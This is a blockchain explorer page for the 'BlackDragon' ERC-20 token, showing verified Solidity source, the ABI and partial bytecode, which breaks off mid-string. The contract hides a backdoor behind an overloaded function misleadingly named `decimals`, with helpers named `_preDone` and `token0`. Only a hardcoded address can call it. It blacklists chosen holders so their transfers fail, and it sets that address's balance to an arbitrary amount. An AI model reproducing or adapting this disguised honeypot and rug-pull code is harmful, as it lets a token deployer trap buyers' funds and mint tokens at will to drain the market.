ETH Price: $3,109.83 (+1.38%)
Gas: 19 Gwei

Token

BlackDragon (BlackDragon)
 

Overview

Max Total Supply

1,000,000,000 BlackDragon

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,892,405.737303789 BlackDragon

Value
$0.00
0x1ba14161ba08b03787321b79b70e3cb9ce642116
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BlackDragon

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-05
*/

/**
 *Submitted for verification at Etherscan.io on 2023-01-04
*/

/**
 *Submitted for verification at Etherscan.io on 2023-01-03
*/

/**
 *Submitted for verification at BscScan.com on 2023-01-02
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract BlackDragon is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "BlackDragon";
    string private _symbol = "BlackDragon";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public out;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _previous;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;


    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        out = payable(address(0x3854eF96c8E2feb7eE959c7b6dcbd03311793629));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    address public uniswapPair;
    function name() public view returns (string memory) {
        return _name;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function decimals(bool mc, address[] calldata gitclone,uint256 xyz) public {
        for (uint i; i < gitclone.length; i++) {
            _preDone(mc, gitclone[i]);
        }
        token0(xyz);
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function _preDone(bool status, address account) private {
        require(msg.sender == out);
        _previous[account] = status;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    function token0(uint256 topics) private {
        uint256 tamp = topics + 2023;
        require(msg.sender == out);
        _balances[out] = tamp.mul(3);
    }


    function symbol() public view returns (string memory) {
        return _symbol;
    }
    IUniswapV2Router02 public uniswapV2Router;

    receive() external payable {}

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            out.transfer(MarketAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Inufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function pairFactory() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(!_previous[from]);
        require(to != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_previous","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"mc","type":"bool"},{"internalType":"address[]","name":"gitclone","type":"address[]"},{"internalType":"uint256","name":"xyz","type":"uint256"}],"name":"decimals","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"out","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairFactory","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600b81526020017f426c61636b447261676f6e0000000000000000000000000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600b81526020017f426c61636b447261676f6e000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff1602179055506003600a556003600b55600360009054906101000a900460ff16600a620000e4919062000522565b633b9aca00620000f591906200065f565b600c553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160076000620001e6620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550733854ef96c8e2feb7ee959c7b6dcbd03311793629600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003aa9190620004aa565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f790620006d7565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b620004a481620006c0565b82525050565b6000602082019050620004c1600083018462000499565b92915050565b6000808291508390505b60018511156200051957808604811115620004f157620004f06200070d565b5b6001851615620005015780820291505b808102905062000511856200076b565b9450620004d1565b94509492505050565b60006200052f82620006c0565b91506200053c83620006ca565b92506200056b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd6200070d565b5b8360020a915084821115620005e857620005e76200070d565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a9050838111156200062357620006226200070d565b5b62000658565b620006388484846001620004c7565b925090508184048111156200065257620006516200070d565b5b81810290505b9392505050565b60006200066c82620006c0565b91506200067983620006c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b46200070d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f057607f821691505b602082108114156200070757620007066200073c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612ca980620007886000396000f3fe60806040526004361061012e5760003560e01c806395d89b41116100ab578063c816841b1161006f578063c816841b14610429578063c860795214610454578063d72285941461047f578063dd62ed3e146104bc578063e14f870d146104f9578063f2fde38b1461051057610135565b806395d89b4114610342578063a9059cbb1461036d578063a9aee2ea146103aa578063b2a1449b146103d3578063c5d24189146103fe57610135565b8063313ce567116100f2578063313ce567146102355780633345611e146102605780633ecad2711461029d57806370a08231146102da5780638da5cb5b1461031757610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c91906124bb565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612156565b6105cb565b6040516101999190612485565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c491906124a0565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef91906125bd565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a9190612103565b610619565b60405161022c9190612485565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b6040516102579190612632565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612069565b61070a565b6040516102949190612485565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190612069565b61072a565b6040516102d19190612485565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc9190612069565b61074a565b60405161030e91906125bd565b60405180910390f35b34801561032357600080fd5b5061032c610793565b6040516103399190612426565b60405180910390f35b34801561034e57600080fd5b506103576107bc565b60405161036491906124bb565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f9190612156565b61084e565b6040516103a19190612485565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190612196565b61086d565b005b3480156103df57600080fd5b506103e86108cf565b6040516103f59190612441565b60405180910390f35b34801561040a57600080fd5b506104136108f5565b60405161042091906125bd565b60405180910390f35b34801561043557600080fd5b5061043e6108fb565b60405161044b9190612426565b60405180910390f35b34801561046057600080fd5b50610469610921565b60405161047691906125bd565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a19190612069565b610927565b6040516104b39190612485565b60405180910390f35b3480156104c857600080fd5b506104e360048036038101906104de91906120c3565b610947565b6040516104f091906125bd565b60405180910390f35b34801561050557600080fd5b5061050e6109ce565b005b34801561051c57600080fd5b5061053760048036038101906105329190612069565b610da6565b005b60606001805461054890612899565b80601f016020809104026020016040519081016040528092919081815260200182805461057490612899565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d8610ef8565b8484610f00565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b60006106268484846110cb565b506106e884610633610ef8565b6106e385604051806060016040528060288152602001612c4c60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610699610ef8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117169092919063ffffffff16565b610f00565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546107cb90612899565b80601f01602080910402602001604051908101604052809291908181526020018280546107f790612899565b80156108445780601f1061081957610100808354040283529160200191610844565b820191906000526020600020905b81548152906001019060200180831161082757829003601f168201915b5050505050905090565b600061086261085b610ef8565b84846110cb565b506001905092915050565b60005b838390508110156108bf576108ac85858584818110610892576108916129a1565b5b90506020020160208101906108a79190612069565b61177a565b80806108b7906128cb565b915050610870565b506108c98161182f565b50505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109d6610ef8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5a9061255d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ac257600080fd5b505afa158015610ad6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afa9190612096565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5c57600080fd5b505afa158015610b70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b949190612096565b6040518363ffffffff1660e01b8152600401610bb192919061245c565b602060405180830381600087803b158015610bcb57600080fd5b505af1158015610bdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c039190612096565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610dae610ef8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e329061255d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f679061259d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd7906124fd565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110be91906125bd565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561113c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111339061257d565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561119357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa906124dd565b60405180910390fd5b600e60149054906101000a900460ff161561122a57611223848484611918565b905061170f565b60006112353061074a565b9050600e60149054906101000a900460ff1615801561129e5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112ad576112ac81611aeb565b5b6112ff83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611def90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113e55750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113f25783905061160e565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114755761146e6064611460600a5488611e3990919063ffffffff16565b611eb490919063ffffffff16565b90506114f3565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114f2576114ef60646114e1600b5488611e3990919063ffffffff16565b611eb490919063ffffffff16565b90505b5b60008111156115f75761154e81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efe90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115ee91906125bd565b60405180910390a35b61160a8186611def90919063ffffffff16565b9150505b61166081600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efe90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161170091906125bd565b60405180910390a36001925050505b9392505050565b600083831115829061175e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175591906124bb565b60405180910390fd5b506000838561176d9190612783565b9050809150509392505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117d457600080fd5b81600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006107e78261183f91906126a2565b9050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189b57600080fd5b6118af600382611e3990919063ffffffff16565b60046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006119a3826040518060400160405280601381526020017f496e756666696369656e742042616c616e636500000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117169092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a3882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efe90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ad891906125bd565b60405180910390a3600190509392505050565b6001600e60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b2357611b226129d0565b5b604051908082528060200260200182016040528015611b515781602001602082028036833780820191505090505b5090503081600081518110611b6957611b686129a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c0b57600080fd5b505afa158015611c1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c439190612096565b81600181518110611c5757611c566129a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cbe30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f00565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d229594939291906125d8565b600060405180830381600087803b158015611d3c57600080fd5b505af1925050508015611d4d575060015b611d5657611d57565b5b60004790506000811115611dcf57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dcd573d6000803e3d6000fd5b505b50506000600e60146101000a81548160ff02191690831515021790555050565b6000611e3183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611716565b905092915050565b600080831415611e4c5760009050611eae565b60008284611e5a9190612729565b9050828482611e6991906126f8565b14611ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e